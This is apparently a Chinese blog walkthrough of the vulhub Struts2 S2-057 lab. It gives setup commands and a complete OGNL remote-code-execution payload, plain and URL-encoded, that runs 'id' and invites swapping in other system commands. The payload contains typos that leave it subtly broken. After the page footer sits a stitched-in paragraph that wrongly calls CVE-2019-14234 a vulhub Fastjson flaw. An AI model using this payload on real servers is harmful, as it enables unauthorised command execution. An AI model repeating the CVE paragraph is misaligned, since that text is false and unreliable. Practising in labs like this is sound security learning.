【vulhub靶场之struts2】——s2-057

漏洞简介:

        漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
S2-057 先决条件:
        alwaysSelectFullNamespace 正确-操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。

漏洞利用:

第一步:打开环境

cd vulhub/struts2/s2-057
docker-compose up -d
docker-compose ps

第二步:访问靶机地址

ip地址/struts2-showcase

在url处输入如下代码

 http://ip地址struts2-
showcase/${(123+123)}/actionChain1.action

刷新可以看到中间数字位置相加了

第三步:构建payload,抓包。

将上面验证payload的值替换为我们的,利用exp。抓 http://ip地址struts2-
showcase/${(123+123)}/actionChain1.action的包。

将下方的代码url编码后插入到原来的${(123+123)},将其替换掉。

${
(#dm=@ognl.0gnlContext@DEFAULT MEMBER ACCESS).(#ct=#request['struts.valuestack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.0gnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id' )).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

编码后是: 

%24%7B%0A(%23dm%3D%40ognl.0gnlContext%40DEFAULT%20MEMBER%20ACCESS).(%23ct%3D%23request%5B'struts.valuestack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.0gnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id'%20)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D

 可以查看到了id的信息,

将其改为whoami或者其他的系统命令,查看到当前的用户为root。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2019-14234是指vulhub靶场中的一个漏洞。这个漏洞是由于vulhub中的一个名为Fastjson的组件的安全缺陷引起的。Fastjson是一种广泛使用的Java JSON库,用于在Java应用程序中进行JSON转换。然而,Fastjson在处理特殊构造的JSON字符串时存在漏洞,攻击者可以利用这个漏洞执行任意的Java代码。 在CVE-2019-14234中,攻击者可以通过构造特定的JSON字符串并发送给受影响的应用程序来利用该漏洞。当应用程序使用Fastjson解析并处理该字符串时,恶意的Java代码将被执行。攻击者可以利用这个漏洞来执行远程代码,从而导致敏感信息泄露、服务器被入侵等危害。 为了防止CVE-2019-14234的攻击,可以采取多种措施。首先,更新vulhub中的Fastjson组件到最新版本,以获得最新的安全修复。其次,在编码和处理JSON数据时,应谨慎处理不受信任的输入。可以使用输入验证和过滤来确保传入的数据是符合预期的,并且不包含恶意的代码。 此外,安全审计和漏洞扫描工具也可以用于检测和修复CVE-2019-14234漏洞。通过定期扫描应用程序,可以及时发现和修复潜在的安全问题。最后,加强网络安全意识教育,提高开发人员和用户对网络安全的认识和理解,从而进一步提高防范和应对漏洞攻击的能力。 综上所述,CVE-2019-14234是vulhub靶场中的一个Fastjson组件漏洞,可以被攻击者利用来执行任意的Java代码。修复这个漏洞的方法包括更新Fastjson组件、输入验证和过滤、安全审计和漏洞扫描以及加强网络安全意识教育。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值